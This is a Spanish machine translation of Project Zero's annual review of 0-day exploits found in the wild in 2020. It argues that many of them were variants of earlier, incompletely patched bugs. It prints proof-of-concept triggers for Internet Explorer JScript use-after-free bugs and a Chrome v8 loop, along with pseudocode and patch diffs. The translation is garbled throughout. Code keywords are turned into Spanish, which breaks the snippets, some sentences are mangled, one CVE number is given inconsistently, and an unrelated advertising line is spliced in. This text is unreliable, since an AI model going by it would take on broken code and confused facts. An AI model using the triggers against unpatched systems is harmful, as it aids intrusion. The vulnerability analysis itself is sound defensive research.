Exploit de día cero: 2020 fue un año dejavu-lnerable

Project Zero tras los exploit de día cero

2020 fue un año lleno de exploit de día cero. Muchos de los navegadores más populares de Internet tuvieron su momento en el centro de atención.

La corrupción de la memoria sigue siendo  el nombre del juego y la forma en que la gran mayoría de los días 0 detectados están ingresando.
Si bien probamos nuevos métodos de detección de días 0 con un éxito modesto, 2020 nos mostró que aún queda un largo camino por recorrer. detectando estos exploits de día cero en la naturaleza.

Pero lo que puede ser el hecho más notable es que el 25% de los días 0 detectados en 2020 están estrechamente relacionados con  vulnerabilidades pre-viamente divulgadas públicamente.
En otras palabras, 1 de cada 4 exploits de día 0 detectados podrían haberse evitado potencialmente si se explorara una investigación más exhaustiva y un esfuerzo de parcheo .
En toda la industria, los parches incompletos (parches que no solucionan de manera correcta y completa la causa raíz de una vulnerabilidad) permiten a los atacantes usar días 0 contra los usuarios con menos esfuerzo.

Desde mediados de 2019, Project Zero ha dedicado un esfuerzo específico para rastrear, analizar y aprender de los días 0 que se explotan activamente en la naturaleza. Durante los últimos 6 años, la misión de Project Zero ha sido “hacer que el día 0 sea difícil”. De ahí surgió el objetivo de nuestro programa en la naturaleza: “Aprender de los días 0 explotados en la naturaleza para hacer que el día 0 sea difícil”. Con el fin de asegurar que nuestro trabajo está realmente  haciendo más difícil su explotación 0 días, tenemos que entender cómo se 0-día  realmente  están utilizando . Impulsar continuamente la comprensión del público sobre la  explotación de día cero  solo es útil cuando no se aparta del “estado de la técnica privado”, lo que los atacantes están haciendo y son capaces de hacer.

Durante los últimos 18 meses, hemos aprendido mucho sobre la explotación activa de los días 0 y nuestro trabajo ha madurado y evolucionado con ella.
Por segundo año consecutivo , publicamos un informe de revisión anual de los exploits de 0 días detectados el año anterior.

El objetivo de este informe no es detallar cada exploit individual, sino analizar los exploits del año como grupo, buscando tendencias, brechas, lecciones aprendidas, éxitos, etc.
Si está interesado en el análisis de cada exploit individual, consulte nuestros  análisis de causa raíz .

Al observar los 24 días 0 detectados en estado salvaje en 2020, hay una conclusión innegable: aumentar la inversión en parches correctos y completos es una gran oportunidad para que nuestra industria impacte a los atacantes utilizando días 0.

Un parche correcto es aquel que corrige un error con total precisión, lo que significa que el parche ya no permite la explotación de la vulnerabilidad .
Se aplica un parche completo que se corrige en todos los lugares donde debe aplicarse, que cubre todas las variantes. Consideramos que un parche está completo solo cuando es correcto y completo. Al explotar una sola vulnerabilidad o error, a menudo hay varias formas de activar la vulnerabilidad, o múltiples rutas para acceder a ella.

Muchas veces vemos que los proveedores bloquean solo la ruta que se muestra en la prueba de concepto o muestra de explotación, en lugar de corregir la vulnerabilidad como un todo, lo que bloquearía todas las rutas.

De manera similar, los investigadores de seguridad a menudo informan errores sin hacer un seguimiento de cómo funciona el parche y sin explorar los ataques relacionados.

Si bien la idea de que los parches incompletos facilitan que los atacantes exploten los días 0 puede resultar incómoda,  lo contrario de esta conclusión puede darnos esperanza.

Tenemos un camino claro para hacer que los días 0 sean más difíciles.

Si se reparan más vulnerabilidades de manera correcta y completa, será más difícil para los  atacantes explotar los días 0.

Esta vulnerabilidad parece familiar

Como se indicó en la introducción, 2020 incluyó exploits de día cero que son similares a los que hemos visto antes. 6 de los 24 exploits de 0 días detectados en la naturaleza están estrechamente relacionados con vulnerabilidades divulgadas públicamente.

Algunos de estos exploits de día 0 solo tenían que cambiar una línea o dos de código para tener un nuevo exploit de día 0 en funcionamiento.

Esta sección explica cómo cada uno de estos 6 días 0 explotados activamente se relaciona con una vulnerabilidad vista anteriormente.

Nos tomamos el tiempo para detallar cada una y mostrar las diferencias mínimas entre las vulnerabilidades para demostrar que una vez que comprende una de las vulnerabilidades, es mucho más fácil explotar otra.

Internet Explorer JScript CVE-2020-0674

CVE-2020-0674 es la cuarta vulnerabilidad que se ha explotado en esta clase de error en 2 años.
Las otras tres vulnerabilidades son CVE-2018-8653, CVE-2019-1367 y CVE-2019-1429.

En la revisión anual de 2019 , dedicamos una sección a estas vulnerabilidades.
El Grupo de Análisis de Amenazas de Google atribuyó las 4 vulnerabilidades al mismo actor de amenazas.

Vale la pena repetirlo, el mismo actor aprovechó vulnerabilidades similares en 4 ocasiones distintas.

Para los 4 exploits, el atacante utilizó el mismo tipo de vulnerabilidad y el mismo método de explotación .
Arreglar estas vulnerabilidades de manera integral la primera vez habría hecho que los atacantes trabajaran más duro o encontraran nuevos días 0.
JScript es el motor Javascript heredado de Internet Explorer.
Si bien es heredado, de forma predeterminada todavía está habilitado en Internet Explorer 11, que es una característica incorporada de las computadoras con Windows 10 .
La clase de error, o tipo de vulnerabilidad, es que el recolector de basura no rastrea un objeto JScript específico , una variable (usa la estructura VAR).
He incluido el código para activar cada una de las cuatro vulnerabilidades a continuación para demostrar cuán similares son.
Ivan Fratric de Project Zero escribió todo el código incluido que activa las 4 vulnerabilidades.

CVE-2018-8653

En diciembre de 2018, se descubrió que CVE-2018-8653 estaba siendo explotado activamente.
En esta vulnerabilidad, el recolector de basura no rastrea esta variable en la devolución de llamada es Prototypeof.
McAfee también escribió un artículo sobre cada paso de este exploit.

var objs = new Array ();
var refs = new Array ();
var dummyObj = new Object ();
función getFreeRef ()
{
// 5. eliminar objetos prototipo y objetos ordinarios
para ( var i = 0 ; i < 10000 ; i ++ ) {
objs [ i ] = 1 ;
}
CollectGarbage ();
para ( var i = 0 ; i < 200 ; i ++ )
{
refs [ i ]. prototipo = 1 ;
}
// 6. El recolector de basura libera bloques de variables no utilizados.
// Esto incluye el que tiene la variable “this”
CollectGarbage ();
// 7. Boom
alerta ( esto );
}
// 1. crear objetos “especiales” para los que se pueda invocar isPrototypeOf
para ( var i = 0 ; i < 200 ; i ++ ) {
var arr = new Array ({ prototipo : {} });
var e = nuevo enumerador ( arr );
refs [ i ] = e . item ();
}
// 2. crea un montón de objetos ordinarios
para ( var i = 0 ; i < 10000 ; i ++ ) {
objs [ i ] = nuevo objeto ();
}
// 3. crear objetos para que sirvan como prototipos y configurar devoluciones de llamada
para ( var i = 0 ; i < 200 ; i ++ ) {
refs [ i ]. prototipo = {};
refs [ i ]. prototipo . isPrototypeOf = getFreeRef ;
}
// 4. llama a isPrototypeOf. Esto configura refs [100] .prototype como “esta” variable
// Durante la devolución de llamada, el recolector de basura no rastreará la variable “this”
// usa un índice diferente si esto no funciona
dummyObj instanceof refs [ 100 ];

 

CVE-2019-1367

En septiembre de 2019, se detectó que CVE-2019-1367 estaba explotado en estado salvaje.
Este es el mismo tipo de vulnerabilidad que CVE-2018-8653: el recolector de basura no rastrea un objeto variable de JScript.
Esta vez, aunque las variables que no se rastrean están en la matriz de argumentos en la devolución de llamada Array.sort .
var spray = new Array ();
función F () {
// 2. Crea un montón de objetos
para ( var i = 0 ; i < 20000 ; i ++) spray [ i ] = new Object ();
// 3. Almacene una referencia a uno de ellos en la matriz de argumentos
// El recolector de basura no rastrea la matriz de argumentos
argumentos [ 0 ] = pulverizar [ 5000 ];
// 4. Elimina los objetos y llama al recolector de basura
// Todas las variables JSCript se reclaman …
para ( var i = 0 ; i < 20000 ; i ++) spray [ i ] = 1 ;
CollectGarbage ();
// 5. Pero todavía tenemos referencia a uno de ellos en el
// matriz de argumentos
alerta ( argumentos [ 0 ]);
}
// 1. Orden de llamada con devolución de llamada personalizada
[ 1 , 2 ]. ordenar ( F );

CVE-2019-1429

 

El parche CVE-2019-1367 en realidad no solucionó la vulnerabilidad provocada por la prueba de concepto anterior y explotada en la naturaleza.
¡La prueba de concepto para CVE-2019-1367 siguió funcionando incluso después de que se aplicó el parche CVE-2019-1367!
En noviembre de 2019, Microsoft lanzó otro parche para abordar esta brecha.
CVE-2019-1429 abordó las deficiencias del CVE-2019-1367 y también corrigió una variante.
La variante es que el recolector de basura no rastrea las variables en la matriz de argumentos en la devolución de llamada toJson en lugar de la devolución de llamada Array.sort.
La única diferencia entre los desencadenantes variantes son las líneas resaltadas.
En lugar de llamar a la devolución de llamada Array.sort , llamamos a la devolución de llamada para JSON .
var spray = new Array ();
función F () {
// 2. Crea un montón de objetos
para ( var i = 0 ; i < 20000 ; i ++) spray [ i ] = new Object ();
// 3. Almacene una referencia a uno de ellos en la matriz de argumentos
// El recolector de basura no rastrea la matriz de argumentos
argumentos [ 0 ] = pulverizar [ 5000 ];
// 4. Elimina los objetos y llama al recolector de basura
// Todas las variables JSCript se reclaman …
para ( var i = 0 ; i < 20000 ; i ++) spray [ i ] = 1 ;
CollectGarbage ();
// 5. Pero todavía tenemos referencia a uno de ellos en el
// matriz de argumentos
alerta ( argumentos [ 0 ]);
}
+ // 1. Hacer que la devolución de llamada toJSON se dispare
+ var o = { toJSON : F }
+ JSON . stringify ( o );
– // 1. Orden de llamada con devolución de llamada personalizada
– [ 1 , 2 ]. ordenar ( F );

 

CVE-2020-0674

En enero de 2020, se detectó que CVE-2020-0674 estaba explotado en estado salvaje.

La vulnerabilidad es que el recolector de basura no rastrea los argumentos nombrados en la devolución de llamada Array.sort .

Los únicos cambios necesarios para el activador de CVE-2019-1367 es cambiar las referencias a los argumentos [] a uno de los argumentos mencionados en la definición de la función.

Por ejemplo, reemplazamos cualquier instancia de argumentos [0] con arg1 .
var spray = new Array ();
+ función F ( arg1 , arg2 ) {
– función F () {
// 2. Crea un montón de objetos
para ( var i = 0 ; i < 20000 ; i ++) spray [ i ] = new Object ();
// 3. Almacena una referencia a uno de ellos en uno de los argumentos nombrados
// El recolector de basura no rastrea los argumentos nombrados
+ arg1 = pulverizar [ 5000 ];
– argumentos [ 0 ] = spray [ 5000 ];
// 4. Elimina los objetos y llama al recolector de basura
// Todas las variables de JScript se reclaman …
para ( var i = 0 ; i < 20000 ; i ++) spray [ i ] = 1 ;
CollectGarbage ();
// 5. Pero todavía tenemos referencia a uno de ellos en
// un argumento con nombre
+ alerta ( arg1 );
– alerta ( argumentos [ 0 ]);
}
// 1. Orden de llamada con devolución de llamada personalizada
[ 1 , 2 ]. ordenar ( F );

CVE-2020-0968

Desafortunadamente, CVE-2020-0674 no fue el final de esta historia, a pesar de que fue la cuarta vulnerabilidad de este tipo que se explotó en la naturaleza. En abril de 2020, Microsoft parcheó CVE-2020-0968 , otra vulnerabilidad de JScript de Internet Explorer. Cuando el boletín se publicó por primera vez, se designó como explotado en la naturaleza, pero al día siguiente, Microsoft cambió este campo para decir que no se explotó en la naturaleza (consulte la sección de revisiones al final del aviso ).
var spray = new Array ();
función f1 () {
alert ( ‘devolución de llamada 1’ );
spray de retorno [ 6000 ];
}
función f2 () {
alerta ( ‘devolución de llamada 2’ );
spray = nulo ;
CollectGarbage ();
devuelve ‘a’
}
función boom () {
var e = o1 ;
var d = o2 ;
// 3. ocurre la primera devolución de llamada (e.toString)
// devuelve una de las variables de cadena
// que se almacena en una variable temporal
// en la pila, no rastreada por el recolector de basura
// 4. Se produce la segunda devolución de llamada (d.toString)
// Allí, las variables de cadena se liberan
// y el espacio recuperado
// 5. Se produce un bloqueo al intentar acceder
// contenido de la cadena de la variable temporal
var b = e + d ;
alerta ( b );
}
// 1. crea dos objetos con devoluciones de llamada toString
var o1 = { toString : f1 };
var o2 = { toString : f2 };
// 2. crea un montón de variables de cadena
para ( var a = 0 ; a < 20000 ; a ++) {
spray [ a ] = “aaa” ;
}
boom ();
Además de que las vulnerabilidades en sí mismas son muy similares, el atacante utilizó el mismo método de explotación para cada una de las cuatro vulnerabilidades de día cero .

Esto proporcionó un tipo de calidad de “plug and play” a su desarrollo de 0 días que habría reducido la cantidad de trabajo requerido para cada nuevo exploit de 0 días.

 

Firefox CVE-2020-6820

Mozilla parcheó CVE-2020-6820 en Firefox con una actualización de seguridad fuera de banda en abril de 2020. Es un uso después de la liberación en el subsistema Cache.
CVE-2020-6820 es un uso posterior libre de CacheStreamControlParent al cerrar su último flujo de lectura abierto.

La secuencia de lectura es la respuesta que se devuelve al proceso de contexto desde una consulta de caché.

Si el comando cerrar o cancelar se recibe mientras los flujos de lectura aún están abiertos, activa StreamList :: CloseAll .

Si StreamControl (debe ser el padre que vive en el proceso del navegador para obtener el uso después de libre en el proceso del navegador; el niño solo lo proporcionaría en el renderizador) todavía tiene ReadStreams cuando se llama a StreamList :: CloseAll , entonces esto hará que CacheStreamControlParent sea liberado.

El miembro mId de CacheStreamControl a continuación, se accede a parent posteriormente, lo que provoca el use-after-free.

El parche de ejecución para CVE-2020-6820 es:

Streamlist :: CloseAll ← parcheado función
CacheStreamControlParent :: CloseAll
CacheStreamControlParent :: NotifyCloseAll
StreamControl :: CloseAllReadStreams
Para cada corriente :
ReadStream :: Inner :: CloseStream
ReadStream :: Inner :: Cerrar
ReadStream :: Inner :: NoteClosed

StreamControl :: NoteClosed
StreamControl :: ForgetReadStream
CacheStreamControlParent / Child :: NoteClosedAfterForget
CacheStreamControlParent :: RecvNoteClosed
StreamList :: NoteClosed
Si StreamList está vacío && mStreamControl :
CacheStreamControlParent :: Shutdown
Enviar__delete ( esto ) ← ¡ LIBERADO AQUÍ !
PCacheStreamControlParent :: SendCloseAll ← Usado aquí en la llamada a Id ()
CVE-2020-6820 es una variante de una vulnerabilidad de Mozilla encontrada internamente, Error 1507180 . 1507180 fue descubierto en noviembre de 2018 y parcheado en diciembre de 2019 . 1507180 es un uso posterior a libre de ReadStream en mReadStreamList en StreamList :: CloseAll.

Si bien fue parcheado en diciembre, a principios de marzo de 2020 se agregó un comentario explicativo de por qué se necesitaba el parche de diciembre de 2019.

Para 150718, la ruta de ejecución fue la misma que para CVE-2020-6820, excepto que el uso después de la liberación se produjo antes, en StreamControl :: CloseAllReadStreams en lugar de unas pocas llamadas “superiores” en StreamList :: CloseAll .

En mi opinión personal, tengo dudas sobre si esta vulnerabilidad fue realmente explotada en la naturaleza.

Hasta donde sabemos, nadie (incluyéndome a mí o a los ingenieros de Mozilla [ 1 , 2 ]), ha encontrado una manera de activar este exploit sin cerrar el proceso.

Por tanto, aprovechar esta vulnerabilidad no parece muy práctico.

Sin embargo, debido a que se marcó como explotado en la naturaleza en el aviso, permanece en nuestra hoja de cálculo de seguimiento en la naturaleza y, por lo tanto, se incluye en esta lista.

Chrome para Android CVE-2020-6572
CVE-2020-6572 no se puede usar después de hacerlo en MediaCodecAudioDecoder :: ~ MediaCodecAudioDecoder () .
Este es un código específico de Android que utiliza las API de decodificación de medios de Android para admitir la reproducción de medios protegidos con DRM en Android. La raíz de este use-after-free es que un `unique_ptr` se asigna a otro, saliendo del alcance, lo que significa que se puede eliminar, mientras que al mismo tiempo no se actualiza un puntero sin procesar del objeto originalmente referenciado.
Más específicamente, MediaCodecAudioDecoder :: Initialize no restablece media_crypto_context_ si media_crypto_ se ha configurado previamente.
Esto puede ocurrir si se llama dos veces a Media Codec Audio Decoder :: Initialize , lo que se admite explícitamente.
Esto es problemático cuando la segunda inicialización usa un CDM diferente al primero.
Cada CDM posee el objeto media_crypto_context_ , y el CDM en sí ( cdm_context_ref_ ) es un `unique_ptr`. Una vez que se establece el nuevo CDM, el antiguo CDM pierde una referencia y puede destruirse. Sin embargo, MediaCodecAudioDecoder todavía tiene un puntero sin procesar a media_crypto_context_ desde el CDM antiguo ya que no se actualizó, lo que da como resultado el uso después de libre en media_crypto_context_ (por ejemplo, en MediaCodecAudioDecoder :: ~ MediaCodecAudioDecoder ).
Esta vulnerabilidad que se explotó en estado salvaje se informó en abril de 2020. 7 meses antes, en septiembre de 2019, Man Yue Mo de Semmle informó una vulnerabilidad muy similar , CVE-2019-13695 . CVE-2019-13695 también es un use-after-free en un media_crypto_context_ colgante en MojoAudioDecoderService después de lanzar cdm_context_ref_ . Esta vulnerabilidad es esencialmente el mismo error que CVE-2020-6572, simplemente se desencadena por una ruta de error después de inicializar MojoAudioDecoderService dos veces en lugar de reinicializar MediaCodecAudioDecoder .
Además, en agosto de 2019, Guang Gong de Alpha Team, Qihoo 360 informó de otra vulnerabilidad similar en el mismo componente. La vulnerabilidad es donde el CDM podría registrarse dos veces (por ejemplo, MojoCdmService :: Initialize podría llamarse dos veces) lo que lleva a use-after-free. Cuando se llamó a MojoCdmService :: Initialize dos veces, habría dos entradas de mapa en cdm_services_ , pero solo una se eliminaría al ser destruida y la otra se dejaría colgando. Esta vulnerabilidad es CVE-2019-5870 . Guang Gong utilizó esta vulnerabilidad como parte de una cadena de exploits de Android. Presentó sobre esta cadena de exploits en Blackhat USA 2020, “ TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices ”.
Si bien se podría argumentar que la vulnerabilidad de Guang Gong no es una variante de la vulnerabilidad explotada en la naturaleza, fue al menos un indicador temprano de que el código Mojo CDM para Android tenía problemas de ciclo de vida y necesitaba una mirada más cercana. . Esto se observó en el rastreador de problemas para CVE-2019-5870 y luego se volvió a mencionar después de que Man Yue Mo informara CVE-2019-13695.
Windows splwow64 CVE-2020-0986
CVE-2020-0986 es una desreferencia de puntero arbitraria en Windows splwow64. Splwow64 se ejecuta cada vez que una aplicación de 32 bits desea imprimir un documento. Se ejecuta como un proceso de integridad media. Internet Explorer se ejecuta como una aplicación de 32 bits y un proceso de baja integridad. Internet Explorer puede enviar mensajes LPC a splwow64. CVE-2020-0986 permite que un atacante en el proceso de Internet Explorer controle los tres argumentos de una llamada de memcpy en el espacio de direcciones splwow64 más privilegiado. La única diferencia entre CVE-2020-0986 y CVE-2019-0880 , que también se explotó en estado salvaje, es que CVE-2019-0880 explotó el memcpy enviando mensaje tipo 0x75 y CVE-2020-0986 lo explota enviando mensaje tipo 0x6D.
De esta gran reseña de ByteRaptors en CVE-2019-0880, el pseudocódigo que permite el control de memcpy es:
void GdiPrinterThunk ( LPVOID firstAddress , LPVOID secondAddress , LPVOID thirdAddress )
{

if (* (( BYTE *) ( firstAddress + 0x4 )) == 0x75 ) {
ULONG64 memcpyDestinationAddress = * (( ULONG64 *) ( primera dirección + 0x20 ));
if ( memcpyDestinationAddress ! = NULL ) {
ULONG64 sourceAddress = * (( ULONG64 *) ( primera dirección + 0x18 ));
Tamaño de copia DWORD = * (( DWORD *) ( primera dirección + 0x28 ));
memcpy ( memcpyDestinationAddress , sourceAddress , copySize );
}
}

}
El pseudocódigo equivalente para CVE-2020-0986 se muestra a continuación.

Solo el tipo de mensaje (0x75 a 0x6D) y las compensaciones de los argumentos controlados de memcpy cambiaron como se resalta a continuación.
void GdiPrinterThunk ( LPVOID msgSend , LPVOID msgReply , LPVOID arg3 )
{

if (* (( BYTE *) ( msgSend + 0x4 )) == 0x6D ) {

ULONG64 srcAddress = ** (( ULONG64 **) ( msgSend + 0xA ));
if ( srcAddress ! = NULL ) {
Tamaño de copia DWORD = * (( DWORD *) ( msgSend + 0x40 ));
if ( copySize <= 0x1FFFE ) {
ULONG64 destAddress = * (( ULONG64 *) ( msgSend + 0xB ));
memcpy ( destAddress , sourceAddress , copySize );
}
}

}
Además de que CVE-2020-0986 es una variante trivial de una vulnerabilidad in-the-wild anterior, CVE-2020-0986 tampoco se parcheó por completo y la vulnerabilidad seguía siendo explotable incluso después de que se aplicó el parche.

Esto se detalla en los “explotados 0-día no fija adecuadamente” a continuación.

Tipo libre CVE-2020-15999

En octubre de 2020, Project Zero descubrió que se estaban utilizando múltiples cadenas de exploits en la naturaleza.

Las cadenas de exploits apuntaban a usuarios de iPhone, Android y Windows, pero todos compartían el mismo Freetype RCE para explotar el renderizador de Chrome, CVE-2020-15999.

La vulnerabilidad es un desbordamiento del búfer de pila en Load_SBit_Png función.

La vulnerabilidad estaba siendo provocada por un truncamiento de enteros. `Load_SBit_Png` procesa imágenes PNG incrustadas en fuentes.

El ancho y alto de la imagen se almacenan en el encabezado PNG como enteros de 32 bits.

Freetype luego los truncó a enteros de 16 bits.

Este valor truncado se utilizó para calcular el tamaño del mapa de bits y el búfer de respaldo se asigna a ese tamaño.

Sin embargo, los valores originales de ancho y alto de 32 bits del mapa de bits se utilizan al leer el mapa de bits en su búfer de respaldo, lo que provoca el desbordamiento del búfer.
En noviembre de 2014, Mateusz Jurczyk, miembro del equipo del Proyecto Cero, informó CVE-2014-9665 a Freetype.
CVE-2014-9665 es también un desbordamiento del búfer de pila en la función Load_SBit_Png.
Sin embargo, este se desencadenó de manera diferente.
En CVE-2014-9665, al calcular el tamaño del mapa de bits, la variable de tamaño es vulnerable a un desbordamiento de enteros que hace que el búfer de respaldo sea demasiado pequeño.
Para parchear CVE-2014-9665, Freetype agregó una marca a las filas y al ancho antes de calcular el tamaño como se muestra a continuación.
if ( poblar_mapa_y_metricas )
{
FT_Long tamaño ;
métricas -> ancho = ( FT_Int ) imgWidth ;
métricas -> altura = ( FT_Int ) imgHeight ;
mapa -> ancho = métricas -> ancho ;
mapa -> filas = métricas -> altura ;
mapa -> modo_píxel = FT_PIXEL_MODE_BGRA ;
mapa -> tono = mapa -> ancho * 4 ;
mapa -> num_grays = 256 ;
+ / * rechazar mapas de bits demasiado grandes de forma similar al rasterizador * /
+ if ( mapa -> filas > 0x7FFF || mapa -> ancho > 0x7FFF )
+ {
+ error = FT_THROW ( Array_Too_Large );
+ ir a DestroySalir ;
+ }
tamaño = mapa -> filas * mapa -> tono ; <- tamaño de desbordamiento
error = ft_glyphslot_alloc_bitmap ( ranura , tamaño );
si ( error )
goto DestroySalir ;
}
Para parchear CVE-2020-15999, la vulnerabilidad explotada en estado salvaje en 2020, esta verificación se movió hacia arriba en la función `Load_Sbit_Png` y se cambió a` imgHeight` y `imgWidth`, los valores de ancho y alto que se incluyen en el encabezado del PNG.
if ( poblar_mapa_y_metricas )
{
+ / * rechazar mapas de bits demasiado grandes de forma similar al rasterizador * /
+ si ( imgWidth > 0x7FFF || imgHeight > 0x7FFF )
+ {
+ error = FT_THROW ( Array_Too_Large );
+ ir a DestroySalir ;
+ }
+
métricas -> ancho = ( FT_UShort ) imgWidth ;
métricas -> altura = ( FT_UShort ) imgHeight ;
mapa -> ancho = métricas -> ancho ;
mapa -> filas = métricas -> altura ;
mapa -> modo_píxel = FT_PIXEL_MODE_BGRA ;
mapa -> tono = mapa -> ancho * 4 ;
mapa -> num_grays = 256 ;
– / * rechazar mapas de bits demasiado grandes de forma similar al rasterizador * /
– si ( mapa -> filas > 0x7FFF || mapa -> ancho > 0x7FFF )
– {
– error = FT_THROW ( Array_Too_Large );
– Goto DestroyExit ;
– }
[…]

Para resumir:

CVE-2014-9665 provocó un desbordamiento del búfer al desbordar el campo de tamaño en el tamaño = mapa-> filas * mapa-> tono; cálculo.
• CVE-2020-15999 provocó un desbordamiento del búfer al truncar métricas-> ancho y métricas-> altura que luego se utilizan para calcular el campo de tamaño, lo que hace que el campo de tamaño sea demasiado pequeño.

Una solución para la causa raíz del desbordamiento del búfer en noviembre de 2014 habría sido verificar los límites de imgWidth e imgHeight antes de cualquier asignación a un corto sin firmar.

Incluir la verificación de los límites de la altura y el ancho de los encabezados PNG antes habría evitado ambas formas de desencadenar este desbordamiento de búfer.

Apple Safari CVE-2020-27930

Esta vulnerabilidad es ligeramente diferente al resto en que, si bien sigue siendo una variante, no está claro que según las normas de divulgación actuales, uno necesariamente hubiera esperado que Apple hubiera adoptado el parche.
Apple y Microsoft, tanto en forma de tenedor el código de Adobe Type Manager más de 20 años atrás.
Debido a las bifurcaciones, no existe un verdadero “upstream”.
Sin embargo, cuando se informaron vulnerabilidades en la bifurcación de Microsoft, Apple o Adobe, existe la posibilidad (aunque no hay garantía) de que también estuviera en las demás.

 

CVE-2020-27930

La vulnerabilidad CVE-2020-27930 se utilizó en una cadena de exploits para iOS.
La variante, CVE-2015-0993, se informó a Microsoft en noviembre de 2014.
En CVE-2015-0993, la vulnerabilidad está en el operador de mezcla en la implementación de Microsoft del formato de fuente tipo 1/2 Charstring de Adobe.
La operación de mezcla toma n + 1 parámetros.
La vulnerabilidad es que no validó o manejó correcta-mente cuando n es negativo, lo que permitió que la fuente se leyera y escribiera arbitrariamente en la pila del intérprete nativo.
CVE-2020-27930 , la vulnerabilidad explotada en estado salvaje en 2020, es muy similar.

La vulnerabilidad esta vez está en el operador callothersubr en la implementación de Apple del formato de fuente de caracteres tipo 1 de Adobe.

De la misma manera que la vulnerabilidad reportada allá por noviembre del año 2014, callothersubr espera n argumentos de la pila.

Sin embargo, la función no validó ni manejó correctamente los valores negativos de n , lo que llevó al mismo resultado de lectura / escritura de pila arbitraria.

6 años después de que se informó de la vulnerabilidad original, se aprovechó una vulnerabilidad similar en un proyecto diferente.

Esto presenta una pregunta interesante:

¿cómo se mantienen actualizados los proyectos relacionados, pero separados, sobre las vulnerabilidades de seguridad que probablemente existan en su bifurcación de una base de código común?
Hay pocas dudas de que revisar la vulnerabilidad que Microsoft solucionó en 2015 ayudaría a los atacantes a descubrir esta vulnerabilidad en Apple.
Días 0 explotados no arreglados correctamente …
3 vulnerabilidades que se explotaron en la naturaleza no se solucionaron adecuadamente después de que se informaron al proveedor.
Producto Vulnerabilidad que fue explotada en la naturaleza

Segundo parche explorador de Internet

CVE-2020-0674 CVE-2020-0968

Google Chrome CVE-2019-13764 * CVE-2020-6383
Microsoft Windows CVE-2020-0986 CVE-2020-17008 / CVE-2021-1648
* cuando se parcheó CVE-2019-13764, no se sabía que fuera explotado en la naturaleza
Internet Explorer JScript CVE-2020-0674
En la sección anterior, detallamos la línea de tiempo de las vulnerabilidades de JScript de Internet Explorer que se explotaron en la naturaleza. Después de que se explotara la vulnerabilidad más reciente, CVE-2020-0674, en enero de 2020, aún no corrigió de manera integral todas las variantes.

Microsoft parcheó CVE-2020-0968 en abril de 2020. Mostramos el desencadenante en la sección anterior.

Google Chrome CVE-2019-13674

CVE-2019-13674 en Chrome es un caso interesante.
Cuando fue parcheado en noviembre de 2019 , no se sabía que fuera explotado en estado salvaje.
En cambio, fue informado por los investigadores de seguridad Soyeon Park y Wen Xu .
3 meses después, en febrero de 2020, Sergei Glazunov de Project Zero descubrió que se explotó en estado salvaje y que podría haber sido explotado como día 0 antes del parche.
Cuando Sergei se dio cuenta de que ya había sido parcheado, decidió mirar un poco más de cerca el parche.
Fue entonces cuando se dio cuenta de que el parche no solucionaba todos los caminos para activar la vulnerabilidad.

Para leer sobre la vulnerabilidad y los parches posteriores con mayor detalle, consulte la publicación del blog de Sergei, “Error de Chrome Infinity“.
Para resumir, la vulnerabilidad es una confusión de tipos en el motor Javascript v8 de Chrome.

El problema está en la función que está diseñada para calcular el tipo de variables de inducción, la variable que aumenta o disminuye en una cantidad fija en cada iteración de un bucle, como un bucle for.
Sin embargo, el algoritmo solo funciona en el tipo entero de v8.

El tipo de entero en v8 incluye algunos valores especiales, + Infinito e -Infinito .
Sin embargo, -0 y NaN no pertenecen al tipo entero.
Otro aspecto interesante del tipo de entero de v8 es que no está cerrado bajo la suma, lo que significa que sumar dos enteros no siempre resulta en un entero.
Un ejemplo de esto es + Infinity + -Infinity = NaN.
Por lo tanto, la siguiente línea es suficiente para activar CVE-2019-13674.

Tenga en cuenta que esta línea no mostrará ningún efecto de bloqueo observable y que el camino para hacer que esta vulnerabilidad sea explotable es bastante largo, consulte esta publicación de blog si está interesado.
para ( var i = – Infinito ; i < 0 ; i + = Infinito ) { }

El parche que Chrome lanzó para esta vulnerabilidad agregó una verificación explícita para el caso de NaN .

Pero el parche hizo una suposición que lo lleva a ser insuficiente: que la variable de ciclo solo puede convertirse en NaN si la suma o diferencia del valor inicial de la variable y el incremento es NaN .

El problema es que el valor del incremento puede cambiar dentro del cuerpo del bucle.

Por lo tanto, el siguiente disparador funcionaría incluso después de aplicar el parche.
var incremento = – Infinito ;
var k = 0 ;
// El valor del bucle inicial es 0 y el incremento es -Infinity.
// Esto está permitido porque 0 + -Infinity = -Infinity, un número entero.
para ( var i = 0 ; i < 1 ; i + = incremento ) {
si ( i == – Infinito ) {
// Una vez que la variable inicial es igual a -Infinity (un bucle)
// el incremento se cambia a + Infinito. -Infinito + + Infinito = NaN
incremento = + Infinito ;
}
si (++ k > 10 ) {
romper ;
}
}
Para “revivir” todo el exploit, el atacante solo necesitaba cambiar un par de líneas en el disparador para tener otro día 0 en funcionamiento.

Esta solución incompleta se informó a Chrome en febrero de 2020.

Este parche fue más conservador: se rescató tan pronto como el tipo detectó que el incremento puede ser + Infinity o -Infinity .
Desafortunadamente, este parche introdujo una vulnerabilidad de seguridad adicional, que permitió una elección más amplia de posibles “confusiones de tipo”.
Nuevamente, consulte la publicación del blog de Sergei si está interesado en más detalles.
Este es un ejemplo en el que el exploit se encuentra después de que los investigadores de seguridad informaron inicialmente del error.
Por otro lado, creo que esto muestra por qué es importante trabajar hacia parches “correctos y completos” en general, no solo vulnerabilidades que se sabe que se explotan en la naturaleza.
La industria de la seguridad sabe que existe una brecha de detección en nuestra capacidad para detectar los días 0 explotados en la naturaleza.
No encontramos ni detectamos todos los días 0 explotados y, desde luego, no los encontramos todos a tiempo.

IT CONNECT

Información de valor para ejecutivos que toman decisiones de negocios

Windows splwow64 CVE-2020-0986

Esta vulnerabilidad ya se ha discutido en la sección anterior sobre variantes.
Después de que Kaspersky informara que CVE-2020-0986 fue explotado activamente como un día 0, comencé a realizar análisis de causa raíz y análisis de variantes de la vulnerabilidad.
La vulnerabilidad se corrigió en junio de 2020, pero solo se reveló como explotada en estado salvaje en agosto de 2020.

El parche de Microsoft para CVE-2020-0986 reemplazó los punteros sin procesar que un atacante podía enviar previamente a través del mensaje LPC, con compensaciones.

Esto no solucionó la vulnerabilidad de causa raíz, solo cambió la forma en que un atacante activaría la vulnerabilidad.

Este problema se informó  a Microsoft en septiembre de 2020, incluido un activador de trabajo.

Microsoft lanzó un parche más completo para la vulnerabilidad en enero de 2021, cuatro meses después.

Este nuevo parche verifica que todas las  operaciones de memcpy solo lean y copien en el búfer del mensaje.

Parches correctos y completos

Hemos detallado cómo seis días 0 que fueron explotados en estado salvaje en 2020 estaban estrechamente relacionados con vulnerabilidades que se habían visto anteriormente.

